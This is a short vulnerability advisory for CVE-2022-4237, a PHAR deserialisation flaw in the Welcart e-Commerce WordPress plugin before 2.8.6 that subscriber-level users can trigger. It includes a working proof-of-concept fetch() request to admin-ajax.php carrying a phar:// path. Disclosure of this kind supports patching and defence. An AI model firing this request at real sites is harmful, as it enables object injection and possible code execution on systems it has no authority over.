Welcart e-Commerce < 2.8.6 – Subscriber+ PHAR Deserialisation | CVE 2022-4237

Description

The plugin does not validate user input before using it in file_exist() functions via various AJAX actions available to any authenticated users, which could allow users with a role as low as subscriber to perform PHAR deserialisation when they can upload a file and a suitable gadget chain is present on the blog

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wel_check_progress_ajax&progressfile=phar://path-to-uploaded-phar.phar/log.txt',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));